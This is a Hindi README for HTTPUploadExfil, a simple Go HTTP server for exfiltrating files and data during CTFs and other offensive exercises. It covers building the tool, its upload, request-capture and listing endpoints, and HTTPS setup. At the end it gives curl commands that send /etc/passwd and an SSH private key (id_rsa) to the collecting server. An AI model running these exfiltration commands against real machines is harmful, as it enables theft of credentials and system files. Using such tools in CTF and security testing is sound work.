
उदाहरण के लिए, CTFs के दौरान फ़ाइलों/डेटा को वितरित और बाहर निकालने के लिए एक सरल HTTP सर्वर।
HTTPUploadExfil एक (बहुत) सरल HTTP सर्वर है जो Go में लिखा गया है, जो HTTP का उपयोग करके किसी मशीन से फ़ाइलें (और अन्य जानकारी) निकालने के लिए उपयोगी है। हालाँकि इसके कई उपयोग-मामले हैं, लेकिन यह कम दांव वाले आक्रामक परिदृश्यों (जैसे CTFs) में उपयोग के लिए है।
इसे python3 -m http.server की तरह समझें, लेकिन मशीन पर डेटा लाने के बजाय मशीन से डेटा निकालने के लिए।
स्पष्ट रूप से, यह डेटा निकालने का एक बहुत ज़ोरदार और कुछ हद तक प्रतिबंधित तरीका है। फिर भी, यह काफी उपयोगी है और SMB या FTP जैसे अन्य तरीकों की तुलना में कुछ हद तक आसान है। यदि आप कुछ अधिक सुंदर खोज रहे हैं, तो उदाहरण के लिए dnsteal या PyExfil देखें।
go build का उपयोग करके टूल का निर्माण करें।./httpuploadexfil :1337 /home/kali/loot चलाएँ।http://YOUR_IP:1337/ तक पहुँचें।/home/kali/loot में ढूँढ़ें।यदि आपको HTTPs की आवश्यकता है, तो नीचे दी गई जानकारी देखें।
आप GitHub से Linux और Windows के लिए बाइनरी डाउनलोड भी कर सकते हैं। हालाँकि, ये बाइनरी जरूरी नहीं कि सबसे हाल के बदलावों का प्रतिनिधित्व करें।
हालाँकि बाइनरी उपलब्ध हैं, लेकिन इसे स्वयं बनाना अत्यधिक अनुशंसित है। इस तरह, आपके पास नवीनतम संस्करण होगा, और आपको पता होगा कि आप वास्तव में क्या चला रहे हैं। यह प्रक्रिया सरल है:
बस फ़ोल्डर के अंदर go build चलाएँ, और आपको अपने प्लेटफ़ॉर्म के लिए एक httpuploadexfil निष्पादन योग्य मिलेगा।
यदि आप टूल में बदलाव करते हैं, तो go fmt main.go का उपयोग करके फ़ॉर्मेट करना याद रखें।
वैकल्पिक रूप से, आप टूल बनाने के लिए make का भी उपयोग कर सकते हैं। आप SSL प्रमाणपत्र उत्पन्न करने के लिए make cert भी चला सकते हैं (नीचे देखें)।
सबसे सामान्य उपयोग मामला मशीन A पर सर्वर चलाना होगा। अब, मशीन B पर आप ब्राउज़र का उपयोग करके अपलोड फ़ॉर्म तक पहुँचते हैं और निकालने के लिए एक फ़ाइल चुनते हैं। बेशक, जैसा कि आप नीचे देख सकते हैं, यह उदाहरण के लिए curl का उपयोग करके भी किया जा सकता है।
फ़ाइलें अपलोड करने के अलावा, आप सरल GET अनुरोधों का उपयोग करके डेटा निकालने के लिए भी HTTPUploadExfil का उपयोग कर सकते हैं। यदि कोई अनुरोध /g एंडपॉइंट पर भेजा जाता है, तो पूरा अनुरोध डिस्क पर संग्रहीत किया जाएगा।
इसलिए, आप अनुरोध के हेडर का उपयोग करके डेटा निकाल सकते हैं। GET पैरामीटर (जैसे, ?data=...) का उपयोग करना सबसे आसान है, लेकिन अन्य विकल्प भी हैं।

डिफ़ॉल्ट रूप से, HTTPUploadExfil पोर्ट 8080 पर परोसा जाएगा। सभी फ़ाइलें वर्तमान निर्देशिका में लिखी जाएँगी।
./httpuploadexfil
आप कुछ तर्क भी प्रदान कर सकते हैं:
./httpuploadexfil :1337 /home/kali/loot
यदि आपको अनुरोध लॉगिंग की आवश्यकता है, तो -log फ़्लैग इस प्रकार पास करें:
./httpuploadexfil -log
पहला तर्क एक बाइंड एड्रेस है, दूसरा फ़ाइलों को संग्रहीत करने का फ़ोल्डर है।
टूल /l एंडपॉइंट के तहत लूट निर्देशिका में फ़ाइलों को भी उजागर करेगा। इसका उपयोग लक्ष्य पर फ़ाइलें लाने के एक आसान तरीके के रूप में किया जा सकता है।
वेबसर्वर आपके उपयोग के लिए चार एंडपॉइंट उजागर करता है:
/ (GET) अपलोड फ़ॉर्म है।/p (POST) अपलोड फ़ॉर्म से डेटा लेता है। इसके लिए file फ़ील्ड भरे हुए multipart/form-data अनुरोध की आवश्यकता होती है।/g (GET) किसी भी GET अनुरोध को लेगा और सर्वर पर पूरा अनुरोध संग्रहीत करेगा।/l (GET) निर्दिष्ट फ़ोल्डर में फ़ाइलों तक पहुँच प्रदान करेगा (निर्देशिका सूची)। यह बुनियादी python3 -m http.server कार्यक्षमता प्रदान करने के लिए है।HTTPUploadExfil का उपयोग HTTPs मोड में भी किया जा सकता है। ऐसा करने के लिए, बस बाइनरी के बगल में एक HTTPUploadExfil.csr और HTTPUploadExfil.key फ़ाइल रखें। इन्हें उदाहरण के लिए इस प्रकार उत्पन्न किया जा सकता है:
openssl req -new -newkey rsa:2048 -nodes -keyout HTTPUploadExfil.key -out HTTPUploadExfil.csr
openssl x509 -req -days 365 -in HTTPUploadExfil.csr -signkey HTTPUploadExfil.key -out HTTPUploadExfil.csr
ऐसा करने के लिए, आप make cert भी चला सकते हैं।
यदि सर्वर को HTTPUploadExfil.csr फ़ाइल दिखती है, तो वह HTTPs मोड में शुरू होने का प्रयास करेगा। HTTP पर वापस जाने के लिए, बस प्रमाणपत्र फ़ाइलों को हटाएँ या उनका नाम बदलें।
Bash का उपयोग करके, हम GET के माध्यम से डेटा निकाल सकते हैं, उदाहरण के लिए:
echo "data=`cat /etc/passwd`" | curl -d @- http://127.0.0.1:8080/g
बेशक, हम फ़ाइलें निकालने के लिए curl का भी उपयोग कर सकते हैं:
curl -F file=@/home/kali/.ssh/id_rsa http://127.0.0.1:8080/p
python3 -m http.server कार्यक्षमता प्रदान करना)